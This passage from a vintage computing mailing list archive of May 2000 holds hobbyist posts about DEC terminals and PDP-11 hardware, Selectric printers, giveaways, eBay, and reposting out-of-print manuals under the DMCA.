profit then I don't see an ethical dilemma. Sellam From rigdonj at intellistar.net Thu May 11 14:17:46 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:44 2005 Subject: Couple of cool HP 110/150 finds Message-ID: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> > >At 10:47 PM 5/2/00 -0700, Earnest said something about: >>Today, I was given a bunch of interesting vintage items. >> HP 88396 SCSI to parrallel interface. Did you ever find out more about this? I just picked up one of one yesterday with the cables. The other end of the cable that fits the DB-25 connector has a male Centronics style connector on it. The SCSI port has a feed-through type terminator on it. Attached to that is a cable that has a micro-SCSI connector on the other end of it. FWIW the box says "same functionality as 88395". Joe From sethm at loomcom.com Thu May 11 13:36:48 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:52:44 2005 Subject: DEC Correspondent (LA12) question... Message-ID: <20000511113648.A1560@loomcom.com> Hey folks, Another question for DEC people out there. I've got a DEC Correspondent (Model LA12-DB) printing terminal. It's like a little cousin to the DECwriters of the world, very cute and lightweight, relatively speaking. Built like a little tank, though. And ribbons are still available, joy! But I've got no earthly clue how to configure the thing for baud rate, flow control, stop bits, anything. It seems to be set up REALLY FUNKY right now, like 4800bps 7N1 or some such nonesense. All I want is 9600 8N1, is that so wrong? It looks like configuration is done by hitting some sequence of keys, but I've been unable to make it work so far, and I'm going through an alarming quantity of fanfold paper in the process. I mean, they couldn't have just made it a TOGGLE or some DIP SWITCHES or anything, NOOO... Does anyone know how to make it go? -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From RCini at congressfinancial.com Thu May 11 13:54:42 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:44 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? Message-ID: <497A9E0467D2D2119B760090271EB8E50E90FC@MAIL10> No ethical dilema here! I don't feel bad about posting this stuff at all because (1) the equipment isn't being sold any more, (2) the docs have been left to rot by the original owner and (3) the docs are too valuable to the vintage computing community to not make them available. I just think that some of the free-wheeling underpinnings of the Internet were taken out back and shot and buried in the end zone next to Hoffa. Rich -----Original Message----- From: Vintage Computer GAWD! [mailto:foo@siconic.com] Sent: Thursday, May 11, 2000 1:29 PM To: 'ClassCompList' Subject: Re: Digital Millennium Copyright Act - what does it mean for us? On Thu, 11 May 2000, Cini, Richard wrote: > How do we protect ourselves? My plan, frankly, is to continue with > my efforts until someone tells me to stop. I say tally ho old chap. That's probably the best course of action. Just post the material to at least make it useful until which time you are explicitly told by the copyright holder to remove it. The worst they can do is ask you to remove it (cease and desist). Might as well keep this stuff alive as long as there is a need for it and as long as the original copyright holder has no plans for it. As long as the original copyright holder is no longer marketing it and it's not being sold for a profit then I don't see an ethical dilemma. Sellam From rigdonj at intellistar.net Thu May 11 15:36:07 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:44 2005 Subject: FA: DEC Compactapes with VMS 5.5 Message-ID: <3.0.1.16.20000511153607.463f089c@mailhost.intellistar.net> I just put these on E-bay. "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330229962". Joe From mark_k at iname.com Thu May 11 15:43:09 2000 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:52:44 2005 Subject: Determining input voltage for switchmode PSU Message-ID: Hi, This isn't specifically classic, but maybe someone can help. I have a SCSI optical drive mounted in an external case, made in 1992. There are no labels on the case at all. I was sent this from the United States (where mains voltage is 110VAC); I'm in the UK (where mains is 240VAC). Whilst I can use this unit in conjunction with a step-down transformer, is there any "rule of thumb" method for determining whether a switchmode PSU is auto-ranging? Rather than just connecting the unit up to 240V and risking damaging the PSU, I'd like some idea of whether it is designed to run from 240V. The fuse on the power supply PCB is 2A 250V, if that's any indication. There is no obvious wire link that could be moved to select between 110V and 220V operation. A label on the PSU reads MODEL NO. SP35W2P-141 There is also a logo which looks something like this: | | __ | / \__|___ | \__ That is, the letters L and E joined together. Any idea which manufacturer this is? -- Mark From rigdonj at intellistar.net Thu May 11 15:44:13 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:44 2005 Subject: Maxoptix disk Message-ID: <3.0.1.16.20000511154413.346fd41e@mailhost.intellistar.net> Does anyone want a Maxoptix disk? I found one that's still in the box and sealed in plastic. The box says "Tahiti Formatted Erasable Optical Cartridge 1 Gigabyte Maxoptix by Verbatim". Make a reasonable offer. Joe From allisonp at world.std.com Thu May 11 15:13:59 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:44 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: > Depending on how you count words, spaces, etc., 14.8 or 15 characters per > second is APPROXIMATELY 150 words per minute. Well back then if someone said 134.5 for the baud rate you could bet the printer was a selectric. Allison From allisonp at world.std.com Thu May 11 15:23:16 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:44 2005 Subject: DEC Correspondent (LA12) question... In-Reply-To: <20000511113648.A1560@loomcom.com> Message-ID: Think vt100... look for setup keys. Allison On Thu, 11 May 2000, sjm wrote: > Hey folks, > > Another question for DEC people out there. I've got a DEC > Correspondent (Model LA12-DB) printing terminal. It's like a little > cousin to the DECwriters of the world, very cute and lightweight, > relatively speaking. Built like a little tank, though. And ribbons > are still available, joy! > > But I've got no earthly clue how to configure the thing for baud > rate, flow control, stop bits, anything. It seems to be set up > REALLY FUNKY right now, like 4800bps 7N1 or some such nonesense. All > I want is 9600 8N1, is that so wrong? It looks like configuration > is done by hitting some sequence of keys, but I've been unable to > make it work so far, and I'm going through an alarming quantity of > fanfold paper in the process. I mean, they couldn't have just made > it a TOGGLE or some DIP SWITCHES or anything, NOOO... > > Does anyone know how to make it go? > > -Seth > -- > "As a general rule, the man in the habit of murdering | Seth Morabito > bookbinders, though he performs a distinct service | sethm@loomcom.com > to society, only wastes his own time and takes no | > personal advantage." -- Kenneth Grahame (1898) | Perth ==> * > From ckaiser at oa.ptloma.edu Thu May 11 15:35:02 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:44 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E90FB@MAIL10> from "Cini, Richard" at "May 11, 0 01:51:07 pm" Message-ID: <200005112035.NAA08834@oa.ptloma.edu> :: How do we protect ourselves? My plan, frankly, is to continue with ::my efforts until someone tells me to stop. I think that's a good idea, but to be fair I never distribute anything myself without the copyright owner's permission. That's why the only Compute! articles I've ever reproduced were my own, because I retain the copyrights (so says my author contracts). And you would be surprised how easy to find some people are. Jim Butterfield, Mr. KIM, is a regular suspect in comp.sys.cbm and has granted permission for almost all of his books to be distributed online. In fact, he did a lot of the OCRing himself. First Book of KIM probably is online in full by now. Also, there was a title or two for comp.binaries.cbm that were originally commercial. We asked the X-10 Corporation what they thought of us posting the C64 version of the X-10 control software, and they said go to it. In fact, they made it freeware, just for us. The other title was a cool BASIC extension/assembler package that had been written by some programmer named Brad Templeton. Yes, *that* Brad Templeton of rec.humor.funny fame. Not too hard to find him. :-) But I think no one will find your stance unreasonable. Most lawyers ask questions first before shooting and will warn you before they want to sue you. They can still bill their clients for the hours and don't have to show up in court. :-P There was a misunderstanding over a software title I was involved in (someone said it was freeware and then the copyright owner showed up after I put it up for download), but it was cleared up with no hard feelings. I'm sure the same would apply for you. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Advertising is the banging of a stick in a swillbucket. -- George Orwell --- From ard at p850ug1.demon.co.uk Thu May 11 12:58:24 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:44 2005 Subject: Really Why I Hate eBay In-Reply-To: <3919EE02.ED09A65A@mcmanis.com> from "Chuck McManis" at May 10, 0 04:17:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1061 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/bd511864/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 11 12:54:17 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:44 2005 Subject: Ebay Altair In-Reply-To: from "foo" at May 10, 0 03:13:29 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1853 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/7e3a7864/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 11 13:17:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:44 2005 Subject: Getting all the system connected... In-Reply-To: from "George Rachor" at May 10, 0 04:34:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2309 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/4fd73489/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 11 13:37:03 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:44 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> from "Joe" at May 11, 0 08:38:00 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2460 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/f3ef5d6d/attachment-0001.ksh From richard at idcomm.com Thu May 11 15:47:06 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:44 2005 Subject: Keyboard actuator References: Message-ID: <000d01bfbb8a$1251e0a0$0400c0a8@winbook> Yes, that's the "rate" for the selectric. However, there were at least two selectric mechanisms, and the 134.5 baud rate was for the ruggedized printer for the 1130 system. Those would last over a year under pretty hard useage (I was the user and watched the same mechanism run for about a year). However, the normal desktop selectric typewriter would fall apart within a very short time with a mechanical actuator. I tried this myself once, but was dissuaded from continuing it when a friend's selectric broke under the actuator he'd bought through an ad in BYTE. The selectric mechanism is a VERY complicated one in terms of the linkage between the typeball and the keys. The keyboardless 1131 printer was much more rugged, owing to the fact that it didn't have that complicated mechanism of bails and cams that was the "keyboard encoder" and set the rotation of the typeball. There was also a selectric model that had a data cable that went to/from a computer system. I never had the opportunity to use one of those, but I recall reading that it had the separate mechanism of the 1131 printer but an electronic keyboard encoder, hence, relied on the computer to tell it what to type. In that sense it was full duplex. When the cable was detached, it would echo directly to the typeball. Dick ----- Original Message ----- From: To: Sent: Thursday, May 11, 2000 2:13 PM Subject: Re: Keyboard actuator > > Depending on how you count words, spaces, etc., 14.8 or 15 characters per > > second is APPROXIMATELY 150 words per minute. > > Well back then if someone said 134.5 for the baud rate you could bet the > printer was a selectric. > > Allison > > From cmcmanis at mcmanis.com Thu May 11 16:06:17 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:44 2005 Subject: Free Pro350 available (FOB Sunnyvale) Message-ID: <391B20C9.67F94E8D@mcmanis.com> I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard drive and an RX50 dual floppy sitting around doing nothing 'cept gettin' in the way. Its available for free, no questions asked, no restrictions, except that: 1) It is in Sunnyvale California (94086) and I'm not paying to pack/mail it. 2) I don't know if it works or not. I did power it up and the disk seeks around a bit but I've got a mono monitor (from an unrelated acquisition) that is also questionable and it didn't say anything at all. You can have the monitor and an LK201 keyboard with it as well. I've got no docs and no way to either ascertain if it is working, should have a color monitor etc, or not. --Chuck From foo at siconic.com Thu May 11 15:01:16 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:44 2005 Subject: Ebay Altair In-Reply-To: Message-ID: On Thu, 11 May 2000, Tony Duell wrote: > Over here, alas, it's becoming rare to find classic computers at radio > rallies. In fact at the last rally I went to, I saw exactly _2_ classic > computers, a Spectrum and an Oric 1. As I have both, I wasn't interested. The same is happening over here as well. It seems the supply has either dried up or most of the stuff that used to end up at ham fests or car boot sales is now finding its way to eBay. > I got plenty of parts, some test gear, etc, so the rally wasn't a waste > of time, but I certainly didn't find any minis, workstations, etc. Plenty > of battered 486 boxen, which have no interest at all. >From the last one near my house I went to last Sunday I picked up some C64 carthridges (pretty interesting ones though...music synthesizers and what-not) and a numeric keypad for the Apple ][ that plugs into the Game I/O port(!) Of course it was sort of rained out so it's perhaps not entirely indicative of the state of the event. The next major ham fest in the Silicon Valley is this Saturday. I haven't been in a while so it'll be interesting to see what turns up. Of course by the time I get there the usual group of local suspects has already picked up the Altairs, SOL-20s, Sun 1-100U's, etc. :) Sellam From ard at p850ug1.demon.co.uk Thu May 11 15:58:27 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:44 2005 Subject: Determining input voltage for switchmode PSU In-Reply-To: from "Mark" at May 11, 0 08:43:09 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4865 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/08c290fd/attachment-0001.ksh From healyzh at aracnet.com Thu May 11 16:09:36 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:44 2005 Subject: Free Pro350 available (FOB Sunnyvale) In-Reply-To: <391B20C9.67F94E8D@mcmanis.com> from "Chuck McManis" at May 11, 2000 02:06:17 PM Message-ID: <200005112109.OAA05562@shell1.aracnet.com> > I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard BTW, that's a DECmate II or Rainbow style case. I'm not sure what the DECmate I used for a case, but the DECmate III and III+ used a case like the VAXstation 2000. Zane From jfoust at threedee.com Thu May 11 15:56:31 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:44 2005 Subject: reflections on ebay In-Reply-To: <391ACEB9.6D3AEAB6@rain.org> References: <005b01bfbb24$85670040$160917d4@zen.co.uk> Message-ID: <4.3.0.20000511154454.00c4e450@pc> At 08:16 AM 5/11/00 -0700, Marvin wrote: >Sniping (bidding in the last seconds of the auction) is an on-going argument >that has some strong opinions on both sides. It is most certainly NOT a >lottery or even close. It does take advantage, or perhaps even promote, >ignorant (of the item value) bids. Sniping would be totally worthless if >people would bid what they are *willing* to pay rather than what they are >*hoping* to pay. There are dozens of types of auctions. Wouldn't it be nifty if eBay had a type of auction where the bidding was scheduled to end at a particular time, but that bidding would continue in a going, going, gone fashion as any auctioneer would do? This would let the N last-minute bidders hang around until each had explicitly declared that they were out of the running. Presto, the end of sniping. To really make it interesting, combine it with a chat room aspect that lets you see the other bidders. - John From jfoust at threedee.com Thu May 11 16:03:57 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:44 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E90FB@MAIL10> Message-ID: <4.3.0.20000511160025.00dd2b50@pc> At 01:51 PM 5/11/00 -0400, Cini, Richard wrote: >For example, although I acknowledge the copyrights of the various >owners of the printed materials on my Web site (the AIM documents, for >example, since Rockwell is still around), I do not have explicit permission >from Rockwell to make those materials available. I'm sure that many of us in >our preservation efforts have a mixture of documents from defunct companies >and from live ones (but for which the products have been long discontinued). I really like the fact that people are archiving old documents in this fashion and placing them on the web. I'm very hard-core about intellectual property rights, but on the other hand, it's near impossible to find the original owners in most cases of antique computers. By republishing without permission, what you're risking is the chance that the proper owner could someday discover what you've done, and decide that it's worth suing you to recover the damage you've caused. - John From steverob at hotoffice.com Thu May 11 16:32:28 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:44 2005 Subject: What's Up Message-ID: <2921A6D846E9D31182490050040DC0D65B9503@hoexc101.hotoffice.com> Hey joe, Sorry I haven't had time to write but, as always, there's a bunch of shit happening around here. Like everyone else in technology, we are trying to make some money from the ".COM" hysteria. I think we're finally getting close and with any luck, I'll soon have time to do some other things (rumor is that we've already been bought). I can see from your recent posts, that you and Mike have found some really neat stuff. I wouldn't mind getting in on the bonanza but, recently I haven't been able to focus on anything but work :-( I haven't even turned on a computer at home in the last 6 weeks. As far as collecting, I haven't seen anything interesting since we went to Avitar. Sure wish I could find an outlet like that a lot closer to home. Actually, I'm probably better off being 250 miles away. I've already got too much crap around here and the temptation might be too great if it was right down the road. A couple of weeks ago, I had to go to Ft. Pierce for business so, I took a "short cut" past APOLLO in Melbourne. I didn't realize the Tom is only there a half day and almost got locked out of the place. Fortunately, Pete (I think that's his name) came by and agreed to let me in. I spent two hours looking around and couldn't find anything worth hauling home. Either my vision is getting worse or I'm getting more selective about the junk I collect. Actually, it's probably a combination of both :-) Went to a local auction last week and was shocked at the prices those idiots were paying. Sorry but, I refuse to pay retail prices at a freakin auction! As it tunrs out, it was mostly PC related stuff that I wouldn't want anyway. There was one large AS/400 that looked pretty complete. It had a reel-to-reel tape drive and all sorts of neat accessories. Since it was pretty big (probably 1000 lbs), had to be removed that day (no exceptions), I didn't have a place to put it, and don't know anything about them, I didn't bid. It sold for $5... I don't know if the other guy moved it on not. It might have wound up in the dumpster dumpster behind the place. I'll have to check on the way home. I did buy a rather large "band printer" for the parts. There's a couple of really LARGE steppers motors in it that could be used in a robotics or automation project. There's also a bunch of 7400 series chips that might be useful someday. The stand is in really good condition so, I can use that for another fairly large printer that I have. I only payed $5 for it so, I couldn't get hurt too bad ;-) I'm gonna try to come up to Orlando around the end of June. If you have or know of any minis (HP or DEC) that are complete and working, we might be able to make a deal. At this point, I just don't have the time or patience to piece together an incomplete system. Anyway, hope all is well with you and yours... See ya, Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/1c72de47/attachment-0001.html From cisin at xenosoft.com Thu May 11 16:43:20 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:44 2005 Subject: Keyboard actuator In-Reply-To: <000d01bfbb8a$1251e0a0$0400c0a8@winbook> Message-ID: On Thu, 11 May 2000, Richard Erlacher wrote: > Yes, that's the "rate" for the selectric. However, there were at least two > selectric mechanisms, and the 134.5 baud rate was for the ruggedized printer > for the 1130 system. Those would last over a year under pretty hard useage > (I was the user and watched the same mechanism run for about a year). > However, the normal desktop selectric typewriter would fall apart within a ^^^^^^ > very short time with a mechanical actuator. I tried this myself once, but > was dissuaded from continuing it when a friend's selectric broke under the > actuator he'd bought through an ad in BYTE. A properly setup mechanical actuator is quite a bit LESS stressfull to the keyboard than a human. You are probably talking about the POS "home" model, that would fall apart within a very short time if anybody typed on it. It was nice to have for home use, but not suitable for office usage. Using the keyboard actuator and a selectric as a substitute for a normal printer seems a pretty BAD idea. -- Grumpy Ol' Fred cisin@xenosoft.com DogEars From pechter at pechter.dyndns.org Thu May 11 16:44:26 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:44 2005 Subject: Free Pro350 available (FOB Sunnyvale) In-Reply-To: <391B20C9.67F94E8D@mcmanis.com> from Chuck McManis at "May 11, 2000 02:06:17 pm" Message-ID: <200005112144.RAA01211@bg-tc-ppp994.monmouth.com> > I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard > drive and an RX50 dual floppy sitting around doing nothing 'cept gettin' > in the way. Its available for free, no questions asked, no restrictions, > except that: > 1) It is in Sunnyvale California (94086) and I'm not > paying to pack/mail it. > 2) I don't know if it works or not. > > I did power it up and the disk seeks around a bit but I've got a mono > monitor (from an unrelated acquisition) that is also questionable and it > didn't say anything at all. You can have the monitor and an LK201 > keyboard with it as well. I've got no docs and no way to either > ascertain if it is working, should have a color monitor etc, or not. > > --Chuck Do you happen to know if it has the ethernet card. I've got a Pro here without the ethernet... Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From cmcmanis at mcmanis.com Thu May 11 16:53:45 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:44 2005 Subject: OT: Mailing list options References: <2921A6D846E9D31182490050040DC0D65B9503@hoexc101.hotoffice.com> Message-ID: <391B2BE9.4BDEBDF5@mcmanis.com> Personally, as a security kinda guy, I prefer mailing lists that don't force all replys to the list. If you accidently send something to one person that was meant for the list you can resend it, on the otherhand un-sending something is so damn hard to do... From John.Allain at donnelley.infousa.com Thu May 11 16:59:06 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:52:44 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: <000001bfbb94$21bbc150$0e0301ac@dba00802.databaseamerica.com> I have to jump in since someone brought up the Selectric. Has any-one here ever dismantled a Selectric? Did once and though I thought knew mechanisms at the time it turns out I sure didn't. The central mechanism seemed like a cross between Dr. Nim (On Topic) and DigiComp-1. The key presses were relayed by an almost binary series of pushrods to a cascaded teeter-totter matrix. The damndest mechanism I've ever seen. Anybody else have this reaction? Seems like a pretty good topic so I'm chiming in with this... John A. P.S. Don't go breaking up working ones to find out though. From eric at brouhaha.com Thu May 11 16:57:32 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:44 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> (message from Joe on Thu, 11 May 2000 08:38:00 -0500) References: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> Message-ID: <20000511215732.29718.qmail@brouhaha.com> Joe wrote: > worth rescueing. The first is a DEC Por 350, there are two of them. DEC's attempt at a high-end personal computer, based on the F11 chipset (same CPU as an PDP-11/23 or /24). Runs P/OS, a hacked version of RSX-11/M+. Can also run RT11 or Venix. > The other is is a Micro PDP 11/73. BA23 cabinet. That uses the J11 CPU at 15 MHz. Standard Qbus cards. Usually these are found with DEC RQDX1 controllers (floppy drive, ST-506 interface hard drives). Sometimes one gets lucky and finds a third-party ESDI or SCSI controller. > There's also a VAX 11/785 there but it's huge! It would be nice if someone wanted to provide a home for it, but that seems unlikely. I'd want it myself, but not at the cost of shipping it from Florida to California. If it's otherwise going to be scrapped, I'd like to get the cards and backplanes from the top half of the unit, and the PDP-11/03 and RX02 disk drive. An acquaintance has an 11/780 which is missing the PDP-11/03. However, all of the 11/780s and 11/785s I've seen turn up in surplus places have already had the 11/03 removed. Maybe someone thinks they're valuable, though I can't imagine why. From dlw at trailingedge.com Thu May 11 17:02:58 2000 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:52:45 2005 Subject: Free to good home: Centronics 101 printer Message-ID: <391AE7C2.25804.1A4270B@localhost> If anyone is interested contact the person below... ------------------- From: "Fairley, Chris" Subject: Free to good home: Centronics 101 printer I have the original personal printer, weighing about 60 pounds, upper-case only, complete with paper tape reader. State of the art in the late 70's? Free to a good home. It worked last time I tried, has a few cosmetic defects, very dusty. Want it? FOB San Jose CA. -Chris Chris Fairley Director of Engineering KLA-Tencor WIN Division tel: 408 875-5330 fax: 408 571-2915 pager: 888 709-2310 email: chris.fairley@kla-tencor.com -------------------------------- ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From spc at armigeron.com Thu May 11 17:03:45 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:45 2005 Subject: OT: Mailing list options In-Reply-To: <391B2BE9.4BDEBDF5@mcmanis.com> from "Chuck McManis" at May 11, 2000 02:53:45 PM Message-ID: <200005112203.SAA19845@armigeron.com> It was thus said that the Great Chuck McManis once stated: > > Personally, as a security kinda guy, I prefer mailing lists that don't > force all replys to the list. If you accidently send something to one > person that was meant for the list you can resend it, on the otherhand > un-sending something is so damn hard to do... This was discussed to death some time ago and the consensus was it was better to have replies go to the list as default to keep the conversation flowing and archive it. Some people (such as I) use software that make changing the recipient hard (or don't have an option to send to sender vs. list). Because of that, most conversations will die down as two participants branch off privately to talk. And while private messages do pop up from time to time, it doesn't happen every day (or even every month) and most people around here (and on other mailing lists) are understanding and will ignore such messages. And for the record, such Reply-To: munging is allowed by RFC822 (section 4.4.3). -spc (Early February from my records) From jpl15 at netcom.com Thu May 11 17:19:38 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:52:45 2005 Subject: KIM Manual / Selectric Message-ID: I note (historically) that in the Introduction to the First Book of Kim, by the previously-mentioned Mr. Butterfield, he thanks an individual for the use of a Selectric-attached word processor. More details elude me; I am at work and away from my bookshelves. Cheers John From cmcmanis at mcmanis.com Thu May 11 17:33:02 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:45 2005 Subject: Free Pro350 available (FOB Sunnyvale) References: <200005112144.RAA01211@bg-tc-ppp994.monmouth.com> Message-ID: <391B351E.9FA22AED@mcmanis.com> Sorry, no ethernet. --CHuck Bill Pechter wrote: > > > I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard > > drive and an RX50 dual floppy sitting around doing nothing 'cept gettin' > > in the way. Its available for free, no questions asked, no restrictions, > > except that: > > 1) It is in Sunnyvale California (94086) and I'm not > > paying to pack/mail it. > > 2) I don't know if it works or not. > > > > I did power it up and the disk seeks around a bit but I've got a mono > > monitor (from an unrelated acquisition) that is also questionable and it > > didn't say anything at all. You can have the monitor and an LK201 > > keyboard with it as well. I've got no docs and no way to either > > ascertain if it is working, should have a color monitor etc, or not. > > > > --Chuck > > Do you happen to know if it has the ethernet card. I've got a Pro here > without the ethernet... > > Bill > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? From ard at p850ug1.demon.co.uk Thu May 11 16:12:26 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:45 2005 Subject: Ebay Altair In-Reply-To: from "Vintage Computer GAWD!" at May 11, 0 01:01:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2123 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/9191b37f/attachment-0001.ksh From ethan_dicks at yahoo.com Thu May 11 17:58:20 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:45 2005 Subject: DECmate I (was Fwd: Re: Free Pro350 available (FOB Sunnyvale)) Message-ID: <20000511225820.24190.qmail@web613.mail.yahoo.com> --- healyzh@aracnet.com wrote: > From: healyzh@aracnet.com > Subject: Re: Free Pro350 available (FOB Sunnyvale) > Date: Thu, 11 May 2000 14:09:36 -0700 (PDT) > > > I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard > > BTW, that's a DECmate II or Rainbow style case. I'm not sure what the > DECmate I used for a case... A VT100. Floppies were RX02 and external. There was also apparently an RL02 interface, but I've never personally witnessed one. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From jeff.kaneko at juno.com Thu May 11 18:08:13 2000 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 18:52:45 2005 Subject: PDP 11/03 for VAX Message-ID: <20000511.180813.-132363.0.jeff.kaneko@juno.com> Eric: I have such an 11/03, that was removed from a large VAX last year at my local wrecking yard. It came with an RX01, though (single drive), that has no case-- all of the electronix are mounted to a steel platform (I can email a pix if yer interested). I don't need it, now that I have a 11/23+ and an 11/73 (not to mention the uVAX II in my garage). It's heavy, but small enough ship easily (that's why I got it in the first place). If you specify what cards are supposed to come with, I can make sure they're all there. . . . Jeff On 11 May 2000 21:57:32 -0000 Eric Smith writes: > If it's otherwise going to be scrapped, I'd like to get the cards > and backplanes from the top half of the unit, and the PDP-11/03 > and RX02 disk drive. An acquaintance has an 11/780 which is missing > the PDP-11/03. However, all of the 11/780s and 11/785s I've seen > turn up in surplus places have already had the 11/03 removed. Maybe > someone thinks they're valuable, though I can't imagine why. ________________________________________________________________ YOU'RE PAYING TOO MUCH FOR THE INTERNET! Juno now offers FREE Internet Access! Try it today - there's no risk! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From eric at brouhaha.com Thu May 11 18:19:55 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:45 2005 Subject: DECmate I (was Fwd: Re: Free Pro350 available (FOB Sunnyvale)) In-Reply-To: <20000511225820.24190.qmail@web613.mail.yahoo.com> (message from Ethan Dicks on Thu, 11 May 2000 15:58:20 -0700 (PDT)) References: <20000511225820.24190.qmail@web613.mail.yahoo.com> Message-ID: <20000511231955.30182.qmail@brouhaha.com> Zane wrote: > BTW, that's a DECmate II or Rainbow style case. I'm not sure what the > DECmate I used for a case... Ethan wrote: > A VT100. Floppies were RX02 and external. There was also apparently > an RL02 interface, but I've never personally witnessed one. Interesting. I've seen a VT78, which IIRC is a 6100 microprocessor-based system mounted in a VT52-style terminal, but I didn't know there was one in a VT100. I guess I wasn't sure exactly what a DECmate I was, since I've only managed to find the DECmate II and III. One more item for my "wanted" list. Anyone care to trade a DECmate I for a II? From eric at brouhaha.com Thu May 11 18:21:16 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:45 2005 Subject: PDP 11/03 for VAX In-Reply-To: <20000511.180813.-132363.0.jeff.kaneko@juno.com> (message from Jeffrey l Kaneko on Thu, 11 May 2000 18:08:13 -0500) References: <20000511.180813.-132363.0.jeff.kaneko@juno.com> Message-ID: <20000511232116.30194.qmail@brouhaha.com> Jeffrey l Kaneko wrote: > I have such an 11/03, that was removed from a large VAX > last year at my local wrecking yard. It came with an RX01, > though (single drive), that has no case-- all of the > electronix are mounted to a steel 